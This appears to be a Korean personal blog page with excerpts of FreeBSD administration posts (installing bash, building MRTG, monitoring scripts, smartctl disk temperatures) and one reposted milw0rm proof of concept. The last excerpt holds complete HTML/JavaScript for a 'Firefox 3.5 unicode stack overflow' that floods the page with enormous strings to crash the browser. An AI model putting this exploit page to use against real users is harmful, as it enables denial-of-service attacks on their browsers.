Please assign a menu to the primary menu location under menu

FreeBSD – Bash 사용하기

Bash 를 바이너리로 받아와 설치 합니다.yongbok# pkg_add -r bashBash 설치를 반영 해줍니다.yongbok# rehashBash 가 설치 되있는지 확인 해봅니다.yongbok# which bash/usr/local/bin/bashyongbok# pkg_infobash-4.0.33         The GNU Project’s Bourne Again SHellgettext-0.17_1      GNU gettext packagelibiconv-1.13.1     A character set conversion library/etc/passwd 파일에 root 와 toor 관리자 계정이 사용하고 있는 쉘을 확인 합니다.yongbok# cat /etc/passwd | egrep ‘root|toor’root:*:0:0:Charlie &:/root:/bin/cshtoor:*:0:0:Bourne-again Superuser:/root:daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologinroot 와 toor 관리자 계정의 쉘을 Bash 로 변경 합니다.yongbok# chsh -s bash rootchsh: user information updatedyongbok# chsh -s bash toorchsh: user information updatedBash 로 반영이 되었는지 확인 하기 위해서 SSH 원격을 다시 재로그인 해보면 됩니다.yongbok#

MRTG 소스 설치

아.. 소스설치는 안하길 원했는데.. 해보자구염..!! MRTG를 소스 설치하기 위해선 zlib, libpng, gd 가 설치되어 있어야 하므로 이것들 부터 한 다음 MRTG 설치를 함 1. zlib 설치 yongbok# mkdir /usr/local/src && cd /usr/local/src yongbok# wget http://www.gzip.org/zlib/zlib-1.1.4.tar.gz yongbok# tar xzvf zlib-1.1.4.tar.gz yongbok# mv zlib-1.1.4 zlib && cd zlib yongbok# ./configure yongbok# make && cd .. 2. libpng 설치 yongbok# wget ftp://ftp5.freebsd.org/pub/CTAN/support/ghostscript/3rdparty/graphics/png/libpng-1.0.15.tar.gz yongbok# tar xzvf libpng-1.0.15.tar.gz yongbok# mv libpng-1.0.15 libpng && cd libpng yongbok# make -f scripts/makefile.std CC=gcc ZLIBLIB=../zlib ZLIBINC=../zlib && cd .. 3. gd 설치 yongbok# wget http://www.boutell.com/gd/http/gd-2.0.11.tar.gz yongbok# tar xzvf gd-2.0.11.tar.gz yongbok# mv gd-2.0.11 gd && cd gd yongbok# env CPPFLAGS=”-I../zlib

FreeBSD – MRTG 부가 옵션 스크립트

이 옵션들은 필자가 쓰는 FreeBSD 서버에서 쉘 스크립트와 smartmontools 를 작성과 설치를 하였으므로 사용자가 알아서 수정하여 사용해야한다. (FreeBSD 서버라면 걍 복사 & 붙여넣기하면 다될꺼임) – MySQL 스크립트 # vi /usr/local/etc/mrtg/mysql_count.sh #!/bin/sh a=`ps auxw | grep mysqld | grep -v grep | wc -l` b=`netstat -an | grep mysql.sock | wc -l` echo $a echo $b – HTTPD 스크립트 # vi /usr/local/etc/mrtg/mysql_count.sh #!/bin/sh a=`ps auxw | grep http | grep -v grep | wc -l` b=`netstat -an | grep :80 | grep -v “0.0.0.0” | wc -l` echo $a echo $b – HDD 스크립트 # vi /usr/local/etc/mrtg/hdd_temp.sh #!/bin/sh /usr/local/sbin/smartctl -A /dev/ad0|grep

FreeBSD – smartctl 하드디스크 온도 측정

smartctl 로 하드디스크 온도 측정을 할수 있다.# cd /usr/ports/sysutils/smartmontools && make install cleansmartd 를 /etc/rc.conf 파일에 적용을 해준다.# echo ‘smartd_enable=”YES”‘ >> /etc/rc.conf하드디스크 정보# smartctl -i /dev/ad0smartctl version 5.38 Copyright (C) 2002-8 Bruce AllenHome page is http://smartmontools.sourceforge.net/=== START OF INFORMATION SECTION ===Model Family:     Western Digital Caviar SE familyDevice Model:     WDC WD5000AAKB-00YSA0Serial Number:    WD-WCAS88436845Firmware Version: 12.01C02User Capacity:    500,107,862,016 bytesDevice is:        In smartctl database ATA Version is:   8ATA Standard is:  Exact ATA specification draft version not indicatedLocal Time is:    Sat Jul 25 13:47:25 2009 KSTSMART support is: Available – device has SMART

Firefox 3.5 unicode stack overflow

파이어폭스 3.5 유니코드 스택 오버플로우http://www.yongbok.net/firefox3.5_unicode_stack_overflow.php<html> <head> <script language=”JavaScript” type=”Text/Javascript”> var str = unescape(“%u4141%u4141”); var str2 = unescape(“%u0000%u0000”); var finalstr2 = mul8(str2, 49000000); var finalstr = mul8(str, 21000000); document.write(finalstr2); document.write(finalstr); function mul8 (str, num) { var i = Math.ceil(Math.log(num) / Math.LN2), res = str; do { res += res; } while (0 < –i); return res.slice(0, str.length * num); } </script> </head> <body> </body> </html> <html><body></body></html> # milw0rm.com

1 38 39 40 45